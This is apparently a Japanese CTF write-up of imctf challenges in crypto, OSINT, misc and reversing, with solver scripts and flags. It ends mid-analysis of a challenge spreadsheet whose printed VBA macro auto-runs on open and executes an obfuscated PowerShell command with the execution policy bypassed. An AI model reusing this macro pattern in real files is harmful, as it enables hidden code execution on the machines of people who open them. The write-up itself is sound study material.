配布ファイルとして、.gitフォルダーや、サーバー側コードのapp.py等がありました。app.pyの内容は、.envファイル内容を当てられたらフラグを応答する内容です:

import falcon
import json


class WelcomeResource(object):
    def on_get(self, req, res):
        """Handles all GET requests."""
        res.status = falcon.HTTP_200  # This is the default status
        res.body = "please post present into big-sock!"


class FlagResource(object):
    def on_post(self, req, res):
        """Handles all POST requests."""
        res.status = falcon.HTTP_200
        body = req.stream.read()
        data = json.loads(body)
        present = data["present"]
        with open(".env") as f:
            password = f.read()
        if present == password:
            with open("flag.txt") as f:
                s = "correct " + f.read()
            res.body = s
        else:
            res.body = "incorrect"


# Create the Falcon application object
app = falcon.API()

# Instantiate the TestResource class
root = WelcomeResource()
flagPage = FlagResource()

# Add a route to serve the resource
app.add_route("/", root)
app.add_route("/big-sock", flagPage)

配布ファイル中には.envファイルがないので、gitのバージョン管理履歴が重要だと目星をつけて眺めました

$ git log -p
(中略)
commit 176e3c4f8c4172943571722d6fbb6c5fb3b1b5bb
Author: ShortArrow <bamboogeneral@live.jp>
Date:   Wed Jan 10 23:59:59 2018 +0900

    add quiz

diff --git a/.env b/.env
new file mode 100644
index 0000000..1f59fb5
--- /dev/null
+++ b/.env
@@ -0,0 +1 @@
+Talking_Turboman_Figure
\ No newline at end of file
(後略)

これだろうと考えて接続を試すことにしました。問題文に記述されているIPアドレス・ポート番号へPOSTします(GET先とPOST先のパスが違うことに気付くまで、しばらく悩んでいました):

$ curl http://104.196.236.136:12025/big-sock -d '{"present": "Talking_Turboman_Figure"}'
correct aW1jdGZ7SmluOTEzX0ExMV83aDNfV2F5fQ==
$ echo aW1jdGZ7SmluOTEzX0ExMV83aDNfV2F5fQ== | base64 -d
imctf{Jin913_A11_7h3_Way}
$

フラグを入手できました: imctf{Jin913_A11_7h3_Way}

[Misc, medium] brute force gui💪 (499 points, 7 Solves)

R2 は最高のアストロメク・ドロイドだと思うかい?彼はC3にクイズを出したらしい。「パスワードが分かるか?600万言語以上話せる私に不可能などあるものですか!」

Hint
RPA or R2?

Hint
Appium or PyAutoGui?

Hint
rabin2 or radare2 or ghidra or john?

配布ファイルとして、WPFアプリケーションがありました:

$ ls -R
.:
WpfApp1.deps.json
WpfApp1.dll
WpfApp1.exe
WpfApp1.pdb
WpfApp1.runtimeconfig.json
ref

./ref:
WpfApp1.dll
$

EXE名と同名のDLLがあるので、多分.NET Coreか.NET 5以降のものなのでしょう。その場合はDLL側にアプリケーション本体があります。dyspyで./WpfApp1.dllを逆コンパイルしてみると、Page1側にテキストボックス入力が99の場合にPage2へ遷移する処理がありました。実際に実行して入力してみました:

フラグを入手できました(選択やコピーも可能でした): imctf{7h3_3y3s_ar3_sharp_r1gh+?}

[crypto, medium] static random👽 (471 points, 28 Solves)

「俺たちの活躍を見逃すな!」「We Are ...」

Hi
seed is fixed

配布ファイルとして、以下のmain.pyと、その出力のmessage.txtがありました:

import random


def encoder(inputtext: str):
    random.seed("we wish a merry xmas")
    encoded: str = ""
    for item in inputtext:
        encoded += chr(ord(item) - random.randint(0, 10))
    return encoded


if __name__ == "__main__":
    with open(".env", "r") as f:
        flag = f.read()
    with open("message.txt", "w") as f:
        f.write(encoder(flag))
ilYqdtO1m&k6C,(]3_*h.V=-VA\nf\f*w

ヒントにあるように乱数のシードが固定であるため、同じ乱数列を再現できます。それを利用するソルバーを書いて実行しました:

#!/usr/bin/env python3.8

import random

def decoder(inputtext: str):
    random.seed("we wish a merry xmas")
    decoded: str = ""
    for item in inputtext:
        decoded += chr(ord(item) + random.randint(0, 10))
    return decoded

print(decoder(input()))
$ ./solve.py < message.txt
imctf{V3n0m:L3+_7h3r3_B3_Carnag3}
$

フラグを入手できました: imctf{V3n0m:L3+_7h3r3_B3_Carnag3}

[crypto, easy] oreore😎 (471 points, 28 Solves)

太郎君は天才なので独自暗号を発明しました。彼によると最も安全な暗号らしいですが...

配布ファイルとして、以下のgen.pyと、その出力のoutput.txtがありました:

import base64

flag = b"FLAG"

def oreore_crypto(flag):
    encoded = base64.b64encode(flag)
    enc = encoded.hex()
    return enc

print("ciphertext =", oreore_crypto(flag))
ciphertext = 6157316a64475a374d484a6c4d484a6c58324e79655842304d4639706331397a6458426c636c397a5a574e31636d5639

真っ当に逆演算で復号しました:

In [20]: base64.b64decode(bytes.fromhex("6157316a64475a374d484a6c4d484a6c58324e79655842304d4639706331397a6458426c636c397a5a574e31636d5639"))
Out[20]: b'imctf{0re0re_crypt0_is_super_secure}'

フラグを入手できました: imctf{0re0re_crypt0_is_super_secure}

[crypto, easy] love letter💌 (473 points, 27 Solves)

クリスマスのエモいエピソードを解読してフラグをゲットしましょう。

ewvnuwjq wlte b cupl cleelx eu ibtbiu rux fjxqwehbw. ewvnuwjq cqilw fer, wu jl vwlk ejl rcbz eu ldgxlww hn brrlfequt. ejl cupl cleelx mbw qhfer{lnl_cupl_nuv_ibtbiu_nlbbbbj}. ibtbiu mbw wjufilk btk euwwlk ejl cupl cleelx.

換字式暗号のようです。以前に換字式暗号を自動で解いてくれるサイトを知ったので試すことにしました。quipqiup - cryptoquip and cryptogram solverに貼り付けてみると、tsuyoshi sent a love letter to kanako for christmas. tsuyoshi likes ctf, so he used the flag to express my affection. the love letter was imctf{eye_love_you_kanako_yeaaaah}. kanako was shocked and tossed the love letter.と復号してくれました。すごい。

そういうわけでフラグを入手できました: imctf{eye_love_you_kanako_yeaaaah}

[crypto, medium] common♊️ (477 points, 25 Solves)

flagが2回暗号化されているようです。

配布ファイルとして、以下のgen.pyと、その出力のoutput.txtがありました:

from Crypto.Util.number import *

flag = b"FLAG"
m = bytes_to_long(flag)

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e1 = 65536
e2 = 65538

print("n =", n)
print("e1 =", e1)
print("c1 =", pow(m, e1, n))
print("e2 =", e2)
print("c2 =", pow(m, e2, n))
n = 21141157755370440356159016558867591002795131037765353220781763950242197787546988623583333748613811615876039600044067795582387314625044873018261912055648316947575307397145571269092683237196318163742534102252564452361648000741215145961263035358948910750394941304616916013217678630294578579032413375393774307079767343057241805957456859330160131811246961956716626217712879502367810458962663138839207104998925545962808329297100387478763021607429645752111666523372296094568288414788741918520918522347389517685977356020153749161423831061236785869435119648010372663034476232600939002450611487244980761240697255092515294619063
e1 = 65536
c1 = 3791139181938569737398685036032381737646987513051659017777895787043616313081106838760662536132081707503545049439606032069727376790572333643094529595081085118571506461893089039469054703087386815141490544138726142314337827447061522144729907408053083672097701520947030283539764963562701091579919487153984526052282424975277999492006498441654336183574233720547915500793830555227254993335348447191157770264921144000194606354966874727918714437428556969904356868934618577114911104025392029907939301331113924863412657322707967483351467004854177190395076310650546542866389721479249039989850401261446124771193559166329619972412
e2 = 65538
c2 = 9479987054301003593696498729807102589604512322454236806662495038269939932383233766107579478386705533651017857595249113906203900757985576318399557582785561924440535008414598465159052407108648112038858687677552218404377633749009339690058222162908839308847763582094729669124528370642665466262258176588951705959922822288462616323273663488143476234490690202535922260303842658128571121608034815328952318543895796544411651444423903851422043107669054499710424643274879906277104856140792871842468587164924689276336292808339852752054246714774764674969279059667783378523996744567909634744703888058392004064096159069736198607229

拡張ユークリッド互除法を使ってa*e1 + b*e2 == gcd(e1,e2) == 2となるa, bを探すことができ、それを使うとc1^a + c2^b == m^2を計算できます。後は二分探索でmを計算できると信じてソルバーを書きました:

#!/usr/bin/env python3.8

from Crypto.Util.number import long_to_bytes

# (g, x, y) = exgcd(a, b); assert a*x + b*y == g
def exgcd(a, b):
    """
    return (g, x, y)
    where g = gcd(a, b) and
    ax + by = g
    """
    if a == 0:
        return b, 0, 1
    g, y, x = exgcd(b%a, a)
    return g, x-(b//a)*y, y

n = 21141157755370440356159016558867591002795131037765353220781763950242197787546988623583333748613811615876039600044067795582387314625044873018261912055648316947575307397145571269092683237196318163742534102252564452361648000741215145961263035358948910750394941304616916013217678630294578579032413375393774307079767343057241805957456859330160131811246961956716626217712879502367810458962663138839207104998925545962808329297100387478763021607429645752111666523372296094568288414788741918520918522347389517685977356020153749161423831061236785869435119648010372663034476232600939002450611487244980761240697255092515294619063
e1 = 65536
c1 = 3791139181938569737398685036032381737646987513051659017777895787043616313081106838760662536132081707503545049439606032069727376790572333643094529595081085118571506461893089039469054703087386815141490544138726142314337827447061522144729907408053083672097701520947030283539764963562701091579919487153984526052282424975277999492006498441654336183574233720547915500793830555227254993335348447191157770264921144000194606354966874727918714437428556969904356868934618577114911104025392029907939301331113924863412657322707967483351467004854177190395076310650546542866389721479249039989850401261446124771193559166329619972412
e2 = 65538
c2 = 9479987054301003593696498729807102589604512322454236806662495038269939932383233766107579478386705533651017857595249113906203900757985576318399557582785561924440535008414598465159052407108648112038858687677552218404377633749009339690058222162908839308847763582094729669124528370642665466262258176588951705959922822288462616323273663488143476234490690202535922260303842658128571121608034815328952318543895796544411651444423903851422043107669054499710424643274879906277104856140792871842468587164924689276336292808339852752054246714774764674969279059667783378523996744567909634744703888058392004064096159069736198607229

(g, a, b) = exgcd(e1, e2)
m2 = pow(c1, a, n) * pow(c2, b, n) % n

low = 0
high = n
while low < high:
    mid = (low + high) // 2
    if mid*mid == m2:
        print(long_to_bytes(mid).decode())
        break
    elif mid*mid < m2:
        low = mid
    else:
        high = mid

ソルバーを実行しました:

$ ./solve.py
imctf{y0u_are_an_rsa_exp0rt}
$

フラグを入手できました: imctf{y0u_are_an_rsa_exp0rt}

[crypto, medium] pxkemxn🐶 (490 points, 17 Solves)

太郎くんはクリスマスプレゼントにpxkemxnのゲームをもらいました。pxkemxnのゲームで使われている乱数生成方法ではどうやら生成される乱数を予測できるらしいです。乱数を予測して、いろんな裏技を実行してみましょう!

flagはimctf{X[100]}となります。

配布ファイルとして、以下のgen.pyと、その出力のoutput.txtがありました:

import secrets
import random

# 参考 : https://qiita.com/srtk86/items/609737d50c9ef5f5dc59
def is_prime(n):
    if n == 2: return True
    if n == 1 or n & 1 == 0: return False

    d = (n - 1) >> 1
    while d & 1 == 0:
        d >>= 1

    for k in range(100):
        a = random.randint(1, n - 1)
        t = d
        y = pow(a, t, n)

        while t != n - 1 and y != 1 and y != n - 1:
            y = (y * y) % n
            t <<= 1

        if y != n - 1 and t & 1 == 0:
            return False

    return True

class LCG:
    def __init__(self, S):
        self.A = secrets.randbits(256)
        self.B = secrets.randbits(256)

        while True:
            self.M = secrets.randbits(256)
            if is_prime(self.M):
                break

        self.x = S % self.M

    def next(self):
        self.x = ((self.A * self.x) + self.B) % self.M
        return self.x

lcg = LCG(secrets.randbits(256))
print("M : " + str(lcg.M))

cnt = 100
for i in range(cnt):
    x = lcg.next()
    if i in [0, 1, 2]:
        print("X[{}] : {}".format(i, x))

print("X[{}] : ?".format(cnt))
M : 54354118932293738974277735009690054672438569183669264435593776508452144737651
X[0] : 27562969846242726464849700066934036402432300755063353950289314180737804494366
X[1] : 53881790667921922669270635160364649792695336386197364717009941696103524473701
X[2] : 18353049655762832365359178635985811169156727614439565352194778213695599906765
X[100] : ?

未知変数はA, Bの2つです。既知の値から式変形していると、以下の手順で計算できることが分かりました:

x1 = ((A*x0)+B)%M
x2 = ((A*x1)+B)%M

x2 - x1 = ((A*x1)+B)%M - ((A*x0)+B)%M
        = A * (x1 - x0) % M
A = (x2 - x1) / (x1 - x0) % M
B = x1 - (A*X0) % M

これを使ってソルバーを書きました:

#!/usr/bin/env python3.8

M = 54354118932293738974277735009690054672438569183669264435593776508452144737651
X0 = 27562969846242726464849700066934036402432300755063353950289314180737804494366
X1 = 53881790667921922669270635160364649792695336386197364717009941696103524473701
X2 = 18353049655762832365359178635985811169156727614439565352194778213695599906765

class LCG:
    def __init__(self, S, A, B, M):
        self.A = A
        self.B = B
        self.M = M
        self.x = S % self.M

    def next(self):
        self.x = ((self.A * self.x) + self.B) % self.M
        return self.x

A = (X2 - X1) * pow(X1 - X0, -1, M) % M
B = ((X1 - (A * X0)) % M + M) % M

lcg = LCG(X0, A, B, M)

for i in range(1, 101):
    x = lcg.next()
    if i == 1:
        assert(x == X1)
    if i == 2:
        assert(x == X2)
    if i == 100:
        print(f"imctf{{{x}}}")

ソルバーを実行しました:

$ ./solve.py
imctf{41406001562898874001864598429475444818799641840147213206874340730032400227277}
$

フラグを入手できました: imctf{41406001562898874001864598429475444818799641840147213206874340730032400227277}

[OSINT, easy] ready made default⚾ (454 points, 35 Solves)

君は産業スパイとしての身分を隠し、ライバル会社のキーパーソンとの友人関係を構築。自宅へ招かれ、クリスマスの夕食を共にすることになった。相手が席を外したので、Wi-Fi ルーターのパスワードを調べることにした。SSID は TP-Link_3F04_5G だ。まったく、豪邸は敷地の外まで Wi-Fi が届かなくて厄介だな。

フラグ形式 : imctf{ + usename + _ + password + }

おもむろに"TP-Link_3F04_5G"で検索しましたがヒット数は0でした。文字を削っていると無事ヒットし、TP-Linkルーターという製品(というよりTP-Link社のルーター?)が存在することが分かりました。"TP-Link" wifi default passwordで検索するとTP-Linkルーターの管理画面にログインするにはがヒットしました。その中に以下の記述がありました:

2018年現在TP-Linkのルーターのログイン画面は2種類あります。
1つめはユーザー名とパスワードがはじめから決まっているもので、この場合は共にadmin(半角小文字)でログインが可能です。

安直すぎる内容に驚きながらフラグ形式で提出してみると正解でした: imctf{admin_admin}

[OSINT, easy] spaspaspaspaspa🍝 (457 points, 34 Solves)

たかしくんは、画像の料理を食べに、あるお店へ行きました。 彼はその料理を完食した時、そのお店に因んだ合言葉を発しました。その合言葉を答えて下さい。

フラグ形式:imctf{合言葉}

配布ファイルとして、以下の画像ファイルがありました:

過剰なまでに甘そうです。このような料理を出すお店を昔聞いたことがある気がしますが思い出せなかったので、Google画像検索に頼りました。 喫茶マウンテンというお店と分かりました。

それでは合言葉はなんだろうと"喫茶マウンテン" "合言葉"でググっていましたが、そのものズバリはヒットしませんでした。しかし喫茶マウンテン - アニヲタWiki(仮) - atwiki(アットウィキ)を見つけ、その中に以下の記述がありました:

ファン(客、ではない。多分)の間では店に行くことを「登山」、
完食することを「登頂」、
完食して店から出ることを「下山」、
完食できずに残すことを「遭難」、
完食できずに店から出ることを「途中下山」という。

フラグ形式で提出してみると正解でした: imctf{登頂}

[OSINT, easy] go home🏡 (481 points, 23 Solves)

池の向こうに見える、屋根が赤い家の名前を特定して下さい

フラグ形式 : imctf{ 家の名前 }

配布ファイルとして、以下の画像ファイルがありました:

とりあえずGoogle画像検索をしてみましたが、自然の風景と認識されてしまって家の情報が全く出てきませんでした。そういうわけでGoogle Chrome Betaを起動して、Google Lensで家あたりに絞って調べてみると、サツキとメイの家らしいと分かりました。フラグ形式で提出してみると正解でした: imctf{サツキとメイの家}

[rev, medium] electric noticeboard🪧 (494 points, 14 Solves)

今日はクリスマス。彼女のためにサプライズで電光掲示板メッセージを流すことにした。商店街の人に「電光掲示板を動かすプログラム」を渡した。電光掲示板には A-2308SR と atmega328 が使われているようだ。

問題文中のA-2308SR箇所にはA-2308SRのデータシートPDFへのリンクが、同じくatmega328箇所にはatmega328のデータシートPDFへのリンクが貼られています。配布ファイルとして、以下のsketch_dec24a.inoファイルがありました:

int A1 = 2;
int A2 = 3;
int B = 4;
int C = 5;
int D1 = 6;
int D2 = 11;
int E = 12;
int F = 13;
int G1 = 14;
int G2 = 15;
int J = 16;
int K = 17;
int L = 18;
int M = 19;
int N = 23;
int P = 24;
int DP = 25;
int Next = 26;

void setup()
{
  pinMode(A1, OUTPUT);
  pinMode(A2, OUTPUT);
  pinMode(B, OUTPUT);
  pinMode(C, OUTPUT);
  pinMode(D1, OUTPUT);
  pinMode(D2, OUTPUT);
  pinMode(E, OUTPUT);
  pinMode(F, OUTPUT);
  pinMode(G1, OUTPUT);
  pinMode(G2, OUTPUT);
  pinMode(J, OUTPUT);
  pinMode(K, OUTPUT);
  pinMode(L, OUTPUT);
  pinMode(M, OUTPUT);
  pinMode(N, OUTPUT);
  pinMode(P, OUTPUT);
  pinMode(DP, OUTPUT);
  pinMode(Next, OUTPUT);
  TurnOff();
}

void loop()
{
  TurnOn(false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, true, false, false, true, false, true, true, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, true, false, true, false, true, false, false, false, false, false, false, false, false);
  TurnOn(false, false, false, false, false, false, false, false, true, true, false, true, false, false, true, false, false);
  TurnOn(false, true, false, false, false, false, false, false, true, true, false, true, false, false, true, false, false);
  TurnOn(false, true, false, false, false, true, false, false, true, false, false, true, false, false, true, false, false);
  TurnOn(false, false, false, true, false, false, true, false, false, false, false, false, false, true, false, true, false);
  TurnOn(false, false, false, false, true, true, true, false, true, false, false, false, false, false, false, true, false);
  TurnOn(false, false, false, false, true, true, false, false, false, false, false, false, false, false, false, false, false);
  TurnOn(false, false, false, true, false, false, true, false, false, false, false, false, false, true, false, true, false);
  TurnOn(false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, false, false, false, false, false, false, false, true, false, false, true, false, false);
  TurnOn(false, false, false, false, false, false, false, false, false, false, false, true, false, false, true, false, false);
  TurnOn(false, false, false, false, true, true, false, false, false, false, false, false, false, false, false, false, false);
  TurnOn(false, false, false, false, true, false, true, false, true, false, false, false, false, false, false, false, false);
  TurnOn(false, false, false, false, true, false, true, false, true, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, false, false, true, false, true, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, false, false, false, false, true, true, false, true, false, false, true, false, false);
  TurnOn(false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, false, false, true, false, true, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, true, false, true, false, false, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, true, true, true, false, true, false, false, false, false, false, false, true, false);
  TurnOn(false, false, false, false, true, true, false, false, false, false, false, false, false, false, false, false, false);
  TurnOn(false, false, false, false, false, false, false, false, true, true, false, true, false, false, true, false, false);
  TurnOn(false, false, false, false, true, false, true, false, true, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, true, true, false, false, false, false, false, false, false, false, false, false, false);
  TurnOn(false, false, false, false, true, false, true, true, true, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, true, true, true, false, true, false, false, false, false, false, false, true, false);
  TurnOn(false, false, false, false, true, true, false, false, false, false, false, false, false, false, false, false, false);
  TurnOn(false, false, false, false, false, false, false, false, true, true, false, true, false, false, true, false, false);
  TurnOn(false, false, false, false, true, false, true, false, true, false, false, false, false, false, true, false, false);
  TurnOn(true, false, false, false, true, false, false, true, true, false, false, true, false, false, true, false, false);
  TurnOn(false, false, false, false, true, true, true, false, true, false, false, false, false, false, false, true, false);
  TurnOn(false, false, false, false, false, false, false, false, true, true, false, true, false, false, true, false, false);
  TurnOn(false, false, false, false, false, false, true, true, true, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, true, true, true, false, true, false, false, false, false, false, false, true, false);
  TurnOn(false, false, false, false, false, false, true, false, true, false, false, false, false, false, false, false, false);
  TurnOn(true, false, false, false, true, false, false, false, false, true, false, true, false, false, true, false, false);
}

void TurnOff()
{
  digitalWrite(A1, LOW);
  digitalWrite(A2, LOW);
  digitalWrite(B, LOW);
  digitalWrite(C, LOW);
  digitalWrite(D1, LOW);
  digitalWrite(D2, LOW);
  digitalWrite(E, LOW);
  digitalWrite(F, LOW);
  digitalWrite(G1, LOW);
  digitalWrite(G2, LOW);
  digitalWrite(J, LOW);
  digitalWrite(K, LOW);
  digitalWrite(L, LOW);
  digitalWrite(M, LOW);
  digitalWrite(N, LOW);
  digitalWrite(P, LOW);
  digitalWrite(DP, LOW);
  digitalWrite(Next, HIGH);
  delay(50);
  digitalWrite(Next, LOW);
}

void TurnOn(
    bool inA1,
    bool inA2,
    bool inB,
    bool inC,
    bool inD1,
    bool inD2,
    bool inE,
    bool inF,
    bool inG1,
    bool inG2,
    bool inJ,
    bool inK,
    bool inL,
    bool inM,
    bool inN,
    bool inP,
    bool inDP)
{
  digitalWrite(A1, inA1 ? 1 : 0);
  digitalWrite(A2, inA2 ? 1 : 0);
  digitalWrite(B, inB ? 1 : 0);
  digitalWrite(C, inC ? 1 : 0);
  digitalWrite(D1, inD1 ? 1 : 0);
  digitalWrite(D2, inD2 ? 1 : 0);
  digitalWrite(E, inE ? 1 : 0);
  digitalWrite(F, inF ? 1 : 0);
  digitalWrite(G1, inG1 ? 1 : 0);
  digitalWrite(G2, inG2 ? 1 : 0);
  digitalWrite(J, inJ ? 1 : 0);
  digitalWrite(K, inK ? 1 : 0);
  digitalWrite(L, inL ? 1 : 0);
  digitalWrite(M, inM ? 1 : 0);
  digitalWrite(N, inN ? 1 : 0);
  digitalWrite(P, inP ? 1 : 0);
  digitalWrite(DP, inDP ? 1 : 0);
  delay(1000);
  TurnOff();
}

どうやら、7セグメントよりもっと制御可能箇所が細かい部品(ALPHA-NUMERIC DISPLAYと呼ぶらしい?)の、ON/OFFを切り替えて何かを表示しているようです。A-2308SRのデータシートを眺めていると、ソースコードの命名と対応している図が2ページ目にありました:

TurnOn関数の引数を、図の内容に従って図示すれば良さそうです。pythonではOpenCVライブラリで画像を扱えるとのことなので、それを使ってソルバーを書きました(最初はD1とD2の位置を反対に解釈していて戸惑っていました):

#!/usr/bin/env python3.8

import cv2
import numpy as np
import re

def enumerate_segument_on_off():
    data = """  TurnOn(false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, true, false, false, true, false, true, true, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, true, false, true, false, true, false, false, false, false, false, false, false, false);
  TurnOn(false, false, false, false, false, false, false, false, true, true, false, true, false, false, true, false, false);
  TurnOn(false, true, false, false, false, false, false, false, true, true, false, true, false, false, true, false, false);
  TurnOn(false, true, false, false, false, true, false, false, true, false, false, true, false, false, true, false, false);
  TurnOn(false, false, false, true, false, false, true, false, false, false, false, false, false, true, false, true, false);
  TurnOn(false, false, false, false, true, true, true, false, true, false, false, false, false, false, false, true, false);
  TurnOn(false, false, false, false, true, true, false, false, false, false, false, false, false, false, false, false, false);
  TurnOn(false, false, false, true, false, false, true, false, false, false, false, false, false, true, false, true, false);
  TurnOn(false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, false, false, false, false, false, false, false, true, false, false, true, false, false);
  TurnOn(false, false, false, false, false, false, false, false, false, false, false, true, false, false, true, false, false);
  TurnOn(false, false, false, false, true, true, false, false, false, false, false, false, false, false, false, false, false);
  TurnOn(false, false, false, false, true, false, true, false, true, false, false, false, false, false, false, false, false);
  TurnOn(false, false, false, false, true, false, true, false, true, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, false, false, true, false, true, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, false, false, false, false, true, true, false, true, false, false, true, false, false);
  TurnOn(false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, false, false, true, false, true, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, true, false, true, false, false, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, true, true, true, false, true, false, false, false, false, false, false, true, false);
  TurnOn(false, false, false, false, true, true, false, false, false, false, false, false, false, false, false, false, false);
  TurnOn(false, false, false, false, false, false, false, false, true, true, false, true, false, false, true, false, false);
  TurnOn(false, false, false, false, true, false, true, false, true, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, true, true, false, false, false, false, false, false, false, false, false, false, false);
  TurnOn(false, false, false, false, true, false, true, true, true, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, true, true, true, false, true, false, false, false, false, false, false, true, false);
  TurnOn(false, false, false, false, true, true, false, false, false, false, false, false, false, false, false, false, false);
  TurnOn(false, false, false, false, false, false, false, false, true, true, false, true, false, false, true, false, false);
  TurnOn(false, false, false, false, true, false, true, false, true, false, false, false, false, false, true, false, false);
  TurnOn(true, false, false, false, true, false, false, true, true, false, false, true, false, false, true, false, false);
  TurnOn(false, false, false, false, true, true, true, false, true, false, false, false, false, false, false, true, false);
  TurnOn(false, false, false, false, false, false, false, false, true, true, false, true, false, false, true, false, false);
  TurnOn(false, false, false, false, false, false, true, true, true, false, false, false, false, false, true, false, false);
  TurnOn(false, false, false, false, true, true, true, false, true, false, false, false, false, false, false, true, false);
  TurnOn(false, false, false, false, false, false, true, false, true, false, false, false, false, false, false, false, false);
  TurnOn(true, false, false, false, true, false, false, false, false, true, false, true, false, false, true, false, false);"""
    for line in data.split("\n"):
        match = re.search(r"\((.*)\)", line)
        assert match
        l = []
        for element in match[1].split(","):
            l.append(element.strip()[0] != "f")
        yield l

def create_image_and_draw_segment(seg):
    image = np.zeros((100, 100, 3), np.uint8)
    line_infos = [
        # (p1, p2)
        (10, 10, 50, 10), # A1
        (50, 10, 90, 10), # A2
        (90, 10, 90, 50), # B
        (90, 50, 90, 90), # C
        (50, 90, 10, 90), # D1
        (90, 90, 50, 90), # D2
        (10, 90, 10, 50), # E
        (10, 50, 10, 10), # F
        (10, 50, 50, 50), # G1
        (50, 50, 90, 50), # G2
        (10, 10, 50, 50), # J
        (50, 10, 50, 50), # K
        (90, 10, 50, 50), # L
        (90, 90, 50, 50), # M
        (50, 90, 50, 50), # N
        (10, 90, 50, 50), # P
        (94, 94, 96, 96), # DP
        ]
    assert len(line_infos) == len(seg)
    for (i, b) in enumerate(seg):
        if b:
            x1, y1, x2, y2 = line_infos[i]
            cv2.line(image, (x1, y1), (x2, y2), (0, 0, 255), 10)
    return image

for(i, seg) in enumerate(enumerate_segument_on_off()):
    image = create_image_and_draw_segment(seg)
    cv2.imwrite(f"{i}.png", image)

実行すると、以下の画像群を得られました:

フラグがすべて小文字ということを意識しながら解釈して、フラグを入手できました: imctf{we_will_continue_to_be_together}

[rev, hard] E・Mo・I・XL 😍 (498 points, 9 Solves)

私はSudokuパズルの懸賞金ハンター。さらなるスピードを求めて、ツールを用意した。なに?君も使いたい?いいだろう。ただし、パスワードを当てられたらな。これがそのツールだ。

作問者 : ShortArrow
Hint
Do you like emotional song?

Hint
oletools

Hint
Need win or excel? That's not true.

配布ファイルとしてE・mo・XL.xlsmファイルがありました、Windows Defenderが反応しました!Emotionalという言葉が彷彿させるマルウェアを思い浮かべながら、ヒントどおりにVBAマクロを抽出しました:

remnux@remnux:~/work$ olevba E・mo・XL.xlsm
XLMMacroDeobfuscator: defusedxml is not installed (required to securely parse XLSM files)
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60 on Python 3.6.9 - http://decalage.info/python/oletools
===============================================================================
FILE: E・mo・XL.xlsm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Workbook_Open()
    Module1.GetPayload
End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: xl/vbaProject.bin - OLE stream: 'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub GetPayload()
    Dim payload As String: payload = vbNullString
    Dim ws As Worksheet
    Set ws = ThisWorkbook.Worksheets(1)
    With ThisWorkbook
        With .BuiltinDocumentProperties
            payload = payload + .Item(ws.Cells(1048573, 16384).Value)
            payload = payload + .Item(ws.Cells(1048574, 16384).Value)
            payload = payload + .Item(ws.Cells(1048572, 16384).Value)
            payload = payload + .Item(ws.Cells(1048575, 16384).Value)
            payload = payload + .Item(ws.Cells(1048576, 16384).Value)
        End With
    End With
    payload = _
    "p" & "w" & "s" & "h" & " " & "-" & "n" & "o" & _
    "p" & " " & "-" & "e" & _
    "p" & " " & "B" & "y" & _
    "p" & "a" & "s" & "s" & " " & "-" & "e" & " " + _
    payload
    CreateObject("WScript.Shell").Run payload
End Sub

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Workbook_Open       |Runs when the Excel Workbook is opened       |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|WScript.Shell       |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Run                 |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

remnux@remnux:~/work$

ワークシートの16384列の1048572行目~1048576行目の内容を参照していることと、その結果をpwsh -nop -ep Bypass -eの後ろに結合して実行していることが分かります。別の問題で書いたようにLibre Officeでは1024列以内しか扱えません。物の試しでpandasで読み込ませてみたら物理メモリを使い果たしたので慌てて止めました。

どうしようかしばらく考えていると、「多分粗なシートだろうから、xlmxファイルをZIP展開してシート内容を直接見に行けばいい」と思いつきました。それらしいファイルを探しているとxl\worksheets\sheet1.xmlファイルに以下の内容がありました(改行で整形しています):

<row r="1048572" spans="16384:16384" x14ac:dyDescent="0.25"><c r="XFD1048572" t="s"><v>3</v></c></row>
<row r="1048573" spans="16384:16384" x14ac:dyDescent="0.25"><c r="XFD1048573" s="18" t="s"><v>5</v></c></row>
<row r="1048574" spans="16384:16384" x14ac:dyDescent="0.25"><c r="XFD1048574" t="s"><v>4</v></c></row>
